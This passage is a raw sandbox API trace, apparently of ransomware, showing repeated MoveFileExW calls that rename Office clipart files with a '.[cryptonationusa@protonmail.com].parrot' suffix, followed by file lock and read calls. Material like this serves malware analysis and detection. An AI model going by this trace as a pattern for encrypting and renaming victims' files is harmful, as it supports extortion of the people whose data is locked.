(hObject=0x288) returned 1 [0138.555] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.558] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c8c, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.558] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.558] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.559] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.559] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b74, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b74, lpOverlapped=0x0) returned 1 [0138.560] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.560] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c8c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.560] CloseHandle (hObject=0x288) returned 1 [0138.561] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.566] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x32b0, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.566] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.566] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.568] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.568] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3198, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3198, lpOverlapped=0x0) returned 1 [0138.568] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.569] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x32b0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.569] CloseHandle (hObject=0x288) returned 1 [0138.569] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.572] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1800, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.572] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.572] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.573] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.574] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16e8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x16e8, lpOverlapped=0x0) returned 1 [0138.575] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.575] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1800, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.575] CloseHandle (hObject=0x288) returned 1 [0138.575] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.578] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2720, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.578] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.578] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.580] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.580] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2608, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2608, lpOverlapped=0x0) returned 1 [0138.581] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.581] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2720, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.581] CloseHandle (hObject=0x288) returned 1 [0138.581] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.584] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1504, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.584] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.584] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.585] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.585] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13ec, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x13ec, lpOverlapped=0x0) returned 1 [0138.586] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.587] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1504, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.587] CloseHandle (hObject=0x288) returned 1 [0138.587] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.589] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x62ae, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.589] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.589] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.591] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.591] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6196, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6196, lpOverlapped=0x0) returned 1 [0138.593] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.593] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x62ae, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.593] CloseHandle (hObject=0x288) returned 1 [0138.593] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.596] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb695, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.596] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.596] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.597] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.598] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb57d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb57d, lpOverlapped=0x0) returned 1 [0138.600] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.601] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb695, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.601] CloseHandle (hObject=0x288) returned 1 [0138.601] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.604] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x39f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.604] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.604] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.605] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.605] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x38d8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x38d8, lpOverlapped=0x0) returned 1 [0138.606] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.608] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x39f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.608] CloseHandle (hObject=0x288) returned 1 [0138.608] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.611] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb246, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.611] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.612] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.613] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.613] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb12e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb12e, lpOverlapped=0x0) returned 1 [0138.616] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.617] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb246, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.617] CloseHandle (hObject=0x288) returned 1 [0138.617] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.620] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xda1a, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.621] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.621] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.622] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.622] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd902, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd902, lpOverlapped=0x0) returned 1 [0138.626] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.627] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xda1a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.627] CloseHandle (hObject=0x288) returned 1 [0138.627] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.630] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9195, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.630] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.630] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.631] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.631] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x907d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x907d, lpOverlapped=0x0) returned 1 [0138.635] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.635] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9195, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.635] CloseHandle (hObject=0x288) returned 1 [0138.635] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.638] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x732c, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.638] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.638] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.640] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.640] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7214, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7214, lpOverlapped=0x0) returned 1 [0138.642] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.644] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x732c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.644] CloseHandle (hObject=0x288) returned 1 [0138.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.648] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x68bb, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.648] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.648] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.650] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.650] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x67a3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x67a3, lpOverlapped=0x0) returned 1 [0138.687] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.687] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x68bb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.687] CloseHandle (hObject=0x288) returned 1 [0138.688] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.691] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5efa, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.691] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.691] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.692] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.693] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5de2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5de2, lpOverlapped=0x0) returned 1 [0138.696] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.696] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5efa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.696] CloseHandle (hObject=0x288) returned 1 [0138.696] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.699] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, 